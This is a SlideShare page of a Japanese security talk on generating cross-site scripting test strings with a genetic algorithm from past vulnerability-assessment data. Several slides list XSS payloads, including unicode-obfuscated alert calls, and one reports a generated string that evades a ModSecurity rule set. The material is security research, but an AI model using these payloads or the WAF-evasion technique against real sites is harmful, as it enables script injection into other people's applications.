Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

脆弱性診断データの活用例 - Webアプリケーション診断編 -

3,166 views

Published on

遺伝的アルゴリズムを使って脆弱性を検出するための「検査値」を自動生成するお話し。

Published in: Software
  • Hello! Get Your Professional Job-Winning Resume Here - Check our website! https://vk.cc/818RFv
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here

脆弱性診断データの活用例 - Webアプリケーション診断編 -

  1. 1. 2017.07.31 ssmjp Presented by Isao Takaesu 脆弱性診断データの活用例 - Webアプリケーション診断編 -
  2. 2. About the speaker • 職業 : セキュリティエンジニア • 所属 : 三井物産セキュアディレクション • 趣味 : 脆弱性スキャナ作り、機械学習 • ブログ: http://www.mbsd.jp/blog/ • AISECjp共同管理者 高江洲 勲 Takaesu Isao (@bbr_bbq) ssmjp
  3. 3. お話する内容 ssmjp ノウハウが詰まった脆弱性診断結果を基に、 新たな価値を生み出す試み。
  4. 4. Webアプリケーション診断とは? 診断員 Web Server Web Apps 診断ベンダ 顧客 疑似攻撃 レスポンスの分析 ssmjp  Webアプリをクローリングしながら疑似攻撃  レスポンスを分析して脆弱性を判定
  5. 5. 診断データの一例(XSS) <script>alert();</script> <img[Sp]src=x[Sp]onerror=alert();> </textarea><script>alert();</script> "><script>alert();</script> '--><script>prompt();</script> "><frame[Sp]src="javascript:prompt()"> ';[Sp]alert();// '[CrLf][Sp]MsgBox[Sp]'3122 [CrLf][Sp]MsgBox[Sp]Document.Domain javascript:alert``; "[Sp]&[Sp]msgbox("exploit")[Sp]&[Sp]"aa */[CrLf]alert``;// ・・・ 様々な脆弱性の検査値が蓄積される ssmjp
  6. 6. 診断データの活用事例 ssmjp  学習教材として活用 熟練診断員の診断データを新人教育に活用  脆弱性検出の自動化 診断データをベクトル化し、機械学習モデルに落とし込む https://www.slideshare.net/babaroa/recommender-for-web-security-engineers https://www.slideshare.net/babaroa/recommender-for-web-security-engineers-77999699  検査値の自動生成 過去使用の検知値を基に、新たな検査値を自動生成
  7. 7. 診断データの活用事例 ssmjp  学習教材として活用 熟練診断員の診断データを新人教育に活用  脆弱性検出の自動化 診断データをベクトル化し、機械学習モデルに落とし込む https://www.slideshare.net/babaroa/recommender-for-web-security-engineers https://www.slideshare.net/babaroa/recommender-for-web-security-engineers-77999699  検査値の自動生成 過去使用の検知値を基に、新たな検査値を自動生成
  8. 8. 検査値の自動生成 ssmjp  頑張って手動でやる  Generative Adversarial Network:GANを使う  遺伝的アルゴリズム(Genetic Algorithm:GA)を使う
  9. 9. 検査値の自動生成 ssmjp  頑張って手動でやる  Generative Adversarial Network:GANを使う  遺伝的アルゴリズム(Genetic Algorithm:GA)を使う
  10. 10. 遺伝的アルゴリズム(GA)とは? ssmjp 生物進化における遺伝と適者生存による 自然淘汰の仕組みをシミュレートすることで 複雑な問題に対する最適解を探索する手法
  11. 11. 進化計算の流れ ssmjp 初期集団の生成 適応度評価・選択 交叉突然変異 個体 世代交代
  12. 12. 進化計算の流れ ssmjp 初期集団の生成 適応度評価・選択 交叉突然変異 個体 ● ▲ ■ × ★遺伝子 世代交代
  13. 13. 進化計算の流れ ssmjp 初期集団の生成 適応度評価・選択 交叉突然変異 個体 ● ▲ ■ × ★遺伝子 世代交代
  14. 14. 進化計算の流れ ssmjp 初期集団の生成 適応度評価・選択 交叉突然変異 個体 ● ▲ ■ × ★遺伝子 世代交代
  15. 15. 進化計算の流れ ssmjp 初期集団の生成 適応度評価・選択 交叉突然変異 個体 ● ▲ ■ × ★遺伝子 世代交代
  16. 16. 利用例 ssmjp  新幹線N700系 空気抵抗の少ないエアロ・ダブルウィング形状の計算 http://trendy.nikkeibp.co.jp/article/column/20070705/1001439/  Super Mario World 全自動クリアが可能なMarioの行動パターンを計算 http://gigazine.net/news/20150616-mari-o/  American Fuzzy Lop (Fuzzer) カバレッジが高くなるFuzzを計算 http://lcamtuf.coredump.cx/afl/
  17. 17. 今回のタスク ssmjp
  18. 18. ssmjp 今回のタスク タスク:Cross-Site Scriptingの検査値生成 目標 :・過去未使用の検査値の生成 ・WAFを回避する検査値の生成
  19. 19. ssmjp 言葉の定義  遺伝子(gene) HTML・JSの最小構成要素 例)<img/, src=, x, onerror=, alert();, />  個体(individual) 遺伝子の組み合わせ 例)<img/src=x onerror=alert(); />  適応度(fitness)・評価(evaluation) 個体がWAFを回避する可能性 HTML構文の妥当性やスクリプト実行可能性を評価
  20. 20. ssmjp 言葉の定義  選択(selection) スクリプト実行可能性が高い個体(の遺伝子)を次世代に引き継ぐ ぜんぜんダメな個体は淘汰  交叉(crossover) 選択された二つの個体の遺伝子を掛け合わせて子孫を作る よりスクリプト実行の可能性が高い子孫が誕生する  突然変異(mutation) 個体の遺伝子をランダムに入れ替える 局所解に陥るのを防ぐ
  21. 21. やり方 ssmjp
  22. 22. ssmjp 事前準備 1. 過去に使用した検査値を収集 2. タグや属性等の最小要素に分割 3. 最小要素を遺伝子と定義+過去未使用の要素も遺伝子に追加 遺伝子リスト(約200種類)
  23. 23. ssmjp 初期集団の生成 ランダムに遺伝子を選択して個体を生成 初期集団の生成 適応度評価 選択 交叉 突然変異 終了 {85, 158, 96, 32, 85} {179, 62, 33, 130, 133} 遺伝子リスト {98, 82, 25, 41, 198} {55, 9, 94, 194, 55} ・・・ {76, 6, 114, 149, 70} {107, 140, 172, 150, 38} {102, 169, 76, 90, 208} {21, 168, 111, 15, 159} 初期集団 個体例 </blockquote>content= <basefont/<form </blockquote> <iframe/language= <keygen/</img>coords=
  24. 24. ssmjp 適応度評価 初期集団の生成 適応度評価 選択 交叉 突然変異 終了  評価ポイント 1. HTML構文としての正しさ 2. スクリプトの実行可否 ⇒イベント系もハンドリング 3. WAFの突破可否 個体の適応度を評価し、スコアを計算
  25. 25. ssmjp 選択 初期集団の生成 適応度評価 選択 交叉 突然変異 終了 スコアの高い個体を選択 onerror=¥u0061lert();<body/list=<iframe/<progress <hr <thead </td>rowspan=accept= src=/ <a/</col><td </area> 選択 淘汰 onerror=alert();><body onerror=al¥u0065rt();<output </applet><isindex/alert();<progress/script:alert(); <iframe/language= <keygen/</img>coords= <hr ><video>onmouseover=confirm();><a <body><img/<source/onerror=prompt();> ・・・ ・・・
  26. 26. ssmjp 交叉 初期集団の生成 適応度評価 選択 交叉 突然変異 終了 選択された個体の遺伝子を掛け合わせ 優秀な子孫を次世代に残す src=/ <a/</col><td </area> 親(現世代) onerror=alert();><body onerror=al¥u0065rt();<output <hr ><video>onmouseover=confirm();><a <body><img/<source/onerror=prompt();> × × ・・・ 子孫(offspring) </col><td><body onerror=al¥u0065rt();<output <hr><video><source/onerror=prompt();> ・・・
  27. 27. ssmjp 突然変異 初期集団の生成 適応度評価 選択 交叉 突然変異 終了 一定割合の個体・遺伝子をランダムに 入れ替える(局所解の脱出) src=/ <a/</col><td </area> 変異前 変異後 <hr ><video>onmouseover=confirm();><a <body><img/<source/onerror=prompt();> ・・・ onerror=alert();><body onerror=al¥u0065rt();<output src=/ onerror=alert();<td </area> <video><source/onmouseover=confirm();><a <body><img/src= onerror=prompt();> ・・・ onerror=alert();><body onerror=al¥u0065rt();/>
  28. 28. ssmjp 終了 初期集団の生成 適応度評価 選択 交叉 突然変異 終了  条件 ・ 最大10,000世代 ・ スコア3.0以上 終了条件を満たしたら進化計算を停止
  29. 29. 検証結果 ssmjp
  30. 30. 検証条件 ssmjp 遺伝子 約220種類 個体 100個 ⇒5個の遺伝子で構成 適応度評価 HTML構文チェック:tidy 5.4.0 ⇒警告とエラー数でスコアリング スクリプト実行判定:selenium 3.4.3 ⇒Chromeの仮想ドライバを使用 WAF回避判定:ModSecurity CRS 2.2.9 ⇒onerrorのチェックを除外 選択 エリート選択 ⇒上位30個を選択 交叉 2点交叉 突然変異 変異率:0.1
  31. 31. 検証結果:検査値の自動生成 ssmjp No 検査値 新旧 1 <body onmouseover=alert(); <script <label <canvas </basefont> 新 2 <body onload=alert(); list=</a><canvas </progress> 旧 3 <svg/onload=alert(); </del></label>border=<embed/ 旧 4 <img </caption><script>al¥u0065rt();</script> 新 5 java"<object data=saivs.html </label> 新 6 confirm(1);><video><source/onerror=javascript:alert();> 新 7 <body ><video><source onerror=alert();> 新 8 <body ><video><source onerror=confirm(1);> 新 9 ¥u0061lert();</colgroup><video><source/onerror=al¥u0065rt();> 新 10 <iframe onload=alert();></basefont></caption> 新 ・・・ ・・・ ・・・ 約30種類の新たな検査値を生成
  32. 32. 検証結果:WAFの回避 ssmjp 世代 検査値 WAF 1 -(スクリプト実行不可) - 100 -(スクリプト実行不可) - 349 <th</colgroup><video><source/onerror=al¥u0065rt();> block 1641 <hr><video><source/onerror=javascript:window.onerror=alert();> block 2743 <object/><video><source onerror=javascript:alert();> block 4568 confirm(1);><video><source onerror=javascript:alert();> block ・・・ ・・・ ・・・ 5047 <body ><video><source onerror=alert();> block 6067 <img/><video><source onerror=alert();> block 6192 confirm(1);/><video><source onerror=alert();> block 6307 <body ><video><source onerror=confirm(1);> break 6307世代目でWAFを回避する検査文字列を生成(所要時間:約5h)
  33. 33. まとめ ・(GAは)組み合わせ最適解の探索に有効 ・評価関数の設計がキモ ・ブラウザを変更することで、ブラウザ依存の検査値を生成可能 ・出力箇所を考慮することで検査値のバリエーションを増やせる ・設定次第では、あらゆるタスクに応用可能か? ⇒但し、遺伝子の組み合わせ数が多くなると収束しない可能性あり ssmjp
  34. 34. Download “.PDF” version of this document: ≫ https://www.slideshare.net/babaroa

×